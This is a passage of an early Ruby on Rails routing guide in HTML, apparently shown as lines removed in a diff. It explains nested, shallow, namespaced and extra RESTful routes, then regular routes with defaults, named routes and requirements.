-    GET
-    </td>
-    <td align="left">
-    /magazines/1/ads
-    </td>
-    <td align="left">
-    Ads
-    </td>
-    <td align="left">
-    index
-    </td>
-    <td align="left">
-    display a list of all ads for a specific magazine
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /magazines/1/ads/new
-    </td>
-    <td align="left">
-    Ads
-    </td>
-    <td align="left">
-    new
-    </td>
-    <td align="left">
-    return an HTML form for creating a new ad belonging to a specific magazine
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    POST
-    </td>
-    <td align="left">
-    /magazines/1/ads
-    </td>
-    <td align="left">
-    Ads
-    </td>
-    <td align="left">
-    create
-    </td>
-    <td align="left">
-    create a new ad belonging to a specific magazine
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /magazines/1/ads/1
-    </td>
-    <td align="left">
-    Ads
-    </td>
-    <td align="left">
-    show
-    </td>
-    <td align="left">
-    display a specific ad belonging to a specific magazine
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /magazines/1/ads/1/edit
-    </td>
-    <td align="left">
-    Ads
-    </td>
-    <td align="left">
-    edit
-    </td>
-    <td align="left">
-    return an HTML form for editing an ad belonging to a specific magazine
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    PUT
-    </td>
-    <td align="left">
-    /magazines/1/ads/1
-    </td>
-    <td align="left">
-    Ads
-    </td>
-    <td align="left">
-    update
-    </td>
-    <td align="left">
-    update a specific ad belonging to a specific magazine
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    DELETE
-    </td>
-    <td align="left">
-    /magazines/1/ads/1
-    </td>
-    <td align="left">
-    Ads
-    </td>
-    <td align="left">
-    destroy
-    </td>
-    <td align="left">
-    delete a specific ad belonging to a specific magazine
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="para"><p>This will also create routing helpers such as <tt>magazine_ads_url</tt> and <tt>edit_magazine_ad_path</tt>.</p></div>
-<h4 id="_using_name_prefix_2">3.8.1. Using :name_prefix</h4>
-<div class="para"><p>The <tt>:name_prefix</tt> option overrides the automatically-generated prefix in nested route helpers. For example,</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
-  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'periodical'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will create routing helpers such as <tt>periodical_ads_url</tt> and <tt>periodical_edit_ad_path</tt>. You can even use <tt>:name_prefix</tt> to suppress the prefix entirely:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
-  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will create routing helpers such as <tt>ads_url</tt> and <tt>edit_ad_path</tt>. Note that calling these will still require supplying an article id:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ads_url<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">)</span>
-edit_ad_path<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">,</span> <span style="color: #009900">@ad</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h4 id="_using_has_one_and_has_many">3.8.2. Using :has_one and :has_many</h4>
-<div class="para"><p>The <tt>:has_one</tt> and <tt>:has_many</tt> options provide a succinct notation for simple nested routes. Use <tt>:has_one</tt> to nest a singleton resource, or <tt>:has_many</tt> to nest a plural resource:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_one <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photographer<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>publications<span style="color: #990000">,</span> <span style="color: #990000">:</span>versions<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>This has the same effect as this set of declarations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
-  photo<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>photographer
-  photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publications
-  photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>versions
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h4 id="_limits_to_nesting">3.8.3. Limits to Nesting</h4>
-<div class="para"><p>You can nest resources within other nested resources if you like. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
-  publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
-    magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>However, without the use of <tt>name_prefix &#8658; nil</tt>, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/publishers/1/magazines/2/photos/3</tt></pre>
-</div></div>
-<div class="para"><p>The corresponding route helper would be <tt>publisher_magazine_photo_url</tt>, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular <a href="http://weblog.jamisbuck.org/2007/2/5/nesting-resources">article</a> by Jamis Buck proposes a rule of thumb for good Rails design:</p></div>
-<div class="para"><p><em>Resources should never be nested more than 1 level deep.</em></p></div>
-<h4 id="_shallow_nesting">3.8.4. Shallow Nesting</h4>
-<div class="para"><p>The <tt>:shallow</tt> option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an <tt>:id</tt> parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
-  publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
-    magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable recognition of (among others) these routes:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/publishers/1           ==&gt; publisher_path(1)
-/publishers/1/magazines ==&gt; publisher_magazines_path(1)
-/magazines/2            ==&gt; magazine_path(2)
-/magazines/2/photos     ==&gt; magazines_photos_path(2)
-/photos/3               ==&gt; photo_path(3)</tt></pre>
-</div></div>
-<div class="para"><p>With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the <tt>:has_one</tt> and <tt>:has_many</tt> options:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>magazines <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<h3 id="_route_generation_from_arrays">3.9. Route Generation from Arrays</h3>
-<div class="para"><p>In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
-  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails will generate helpers such as magazine_ad_path that you can use in building links:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Another way to refer to the same route is with an array of objects:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", [@magazine, @ad] %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.</p></div>
-<h3 id="_namespaced_resources">3.10. Namespaced Resources</h3>
-<div class="para"><p>It's possible to do some quite complex things by combining <tt>:path_prefix</tt> and <tt>:name_prefix</tt>. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_tags'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ratings<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_ratings'</span>
-</tt></pre></div></div>
-<div class="para"><p>The good news is that if you find yourself using this level of complexity, you can stop. Rails supports <em>namespaced resources</em> to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>namespace<span style="color: #990000">(:</span>admin<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
-        admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span>
-          <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>ratings<span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get <tt>admin_photos_url</tt> that expects to find an <tt>Admin::PhotosController</tt> and that matches <tt>admin/photos</tt>, and <tt>admin_photos_ratings_path</tt> that matches <tt>/admin/photos/<em>photo_id</em>/ratings</tt>, expecting to use <tt>Admin::RatingsController</tt>. Even though you're not specifying <tt>path_prefix</tt> explicitly, the routing code will calculate the appropriate <tt>path_prefix</tt> from the route nesting.</p></div>
-<h3 id="_adding_more_restful_actions">3.11. Adding More RESTful Actions</h3>
-<div class="para"><p>You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).</p></div>
-<h4 id="_adding_member_routes">3.11.1. Adding Member Routes</h4>
-<div class="para"><p>To add a member route, use the <tt>:member</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>preview <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/1/preview</tt> using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a <tt>preview_photo</tt> route helper.</p></div>
-<div class="para"><p>Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use <tt>:get</tt>, <tt>:put</tt>, <tt>:post</tt>, <tt>:delete</tt>, or <tt>:any</tt> here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>prepare <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<h4 id="_adding_collection_routes">3.11.2. Adding Collection Routes</h4>
-<div class="para"><p>To add a collection route, use the <tt>:collection</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/search</tt> using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a <tt>search_photos</tt> route helper.</p></div>
-<div class="para"><p>Just as with member routes, you can specify an array of methods for a collection route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<h4 id="_adding_new_routes">3.11.3. Adding New Routes</h4>
-<div class="para"><p>To add a new route (one that creates a new resource), use the <tt>:new</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>upload <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/upload</tt> using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a <tt>upload_photos</tt> route helper.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>any <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will allow the new action to be invoked by any request to <tt>photos/new</tt>, no matter what HTTP verb you use.</p></div>
-<h4 id="_a_note_of_caution">3.11.4. A Note of Caution</h4>
-<div class="para"><p>If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the <tt>:member</tt> and <tt>:collection</tt> hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.</p></div>
-</div>
-<h2 id="_regular_routes_2">4. Regular Routes</h2>
-<div class="sectionbody">
-<div class="para"><p>In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.</p></div>
-<div class="para"><p>While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing <em>when possible</em>, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.</p></div>
-<h3 id="_bound_parameters">4.1. Bound Parameters</h3>
-<div class="para"><p>When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: <tt>:controller</tt> maps to the name of a controller in your application, and <tt>:action</tt> maps to the name of an action within that controller. For example, consider one of the default Rails routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-</tt></pre></div></div>
-<div class="para"><p>If an incoming request of <tt>/photos/show/1</tt> is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the <tt>show</tt> action of the <tt>Photos</tt> controller, and to make the final parameter (1) available as <tt>params[:id]</tt>.</p></div>
-<h3 id="_wildcard_components">4.2. Wildcard Components</h3>
-<div class="para"><p>You can set up as many wildcard symbols within a regular route as you like. Anything other than <tt>:controller</tt> or <tt>:action</tt> will be available to the matching action as part of the params hash. So, if you set up this route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/:user_id'</span>
-</tt></pre></div></div>
-<div class="para"><p>An incoming URL of <tt>/photos/show/1/2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be set to 2.</p></div>
-<h3 id="_static_text">4.3. Static Text</h3>
-<div class="para"><p>You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/with_user/:user_id'</span>
-</tt></pre></div></div>
-<div class="para"><p>This route would respond to URLs such as <tt>/photos/show/1/with_user/2</tt>.</p></div>
-<h3 id="_querystring_parameters">4.4. Querystring Parameters</h3>
-<div class="para"><p>Rails routing automatically picks up querystring parameters and makes them available in the <tt>params</tt> hash. For example, with this route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-</tt></pre></div></div>
-<div class="para"><p>An incoming URL of <tt>/photos/show/1?user_id=2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be equal to 2.</p></div>
-<h3 id="_defining_defaults">4.5. Defining Defaults</h3>
-<div class="para"><p>You do not need to explicitly use the <tt>:controller</tt> and <tt>:action</tt> symbols within a route. You can supply defaults for these two parameters in a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span>
-</tt></pre></div></div>
-<div class="para"><p>With this route, an incoming URL of <tt>/photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller.</p></div>
-<div class="para"><p>You an also define other defaults in a route by supplying a hash for the <tt>:defaults</tt> option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>defaults <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>format <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'jpg'</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>With this route, an incoming URL of <tt>photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller, and <tt>params[:format]</tt> will be set to <tt>jpg</tt>.</p></div>
-<h3 id="_named_routes_2">4.6. Named Routes</h3>
-<div class="para"><p>Regular routes need not use the <tt>connect</tt> method. You can use any other name here to create a <em>named route</em>. For example,</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>logout <span style="color: #FF0000">'/logout'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'destroy'</span>
-</tt></pre></div></div>
-<div class="para"><p>This will do two things. First, requests to <tt>/logout</tt> will be sent to the <tt>destroy</tt> method of the <tt>Sessions</tt> controller. Second, Rails will maintain the <tt>logout_path</tt> and <tt>logout_url</tt> helpers for use within your code.</p></div>
-<h3 id="_route_requirements">4.7. Route Requirements</h3>
-<div class="para"><p>You can use the <tt>:requirements</tt> option to enforce a format for any parameter in a route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This route would respond to URLs such as <tt>/photo/A12345</tt>. You can more succinctly express the same route this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
-  <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span>
-</tt></pre></div></div>
-<h3 id="_route_conditions">4.8. Route Conditions</h3>
-<div class="para"><p>Route conditions (introduced with the <tt>:conditions</tt> option) are designed to implement restrictions on routes. Currently, the only supported restriction is <tt>:method</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
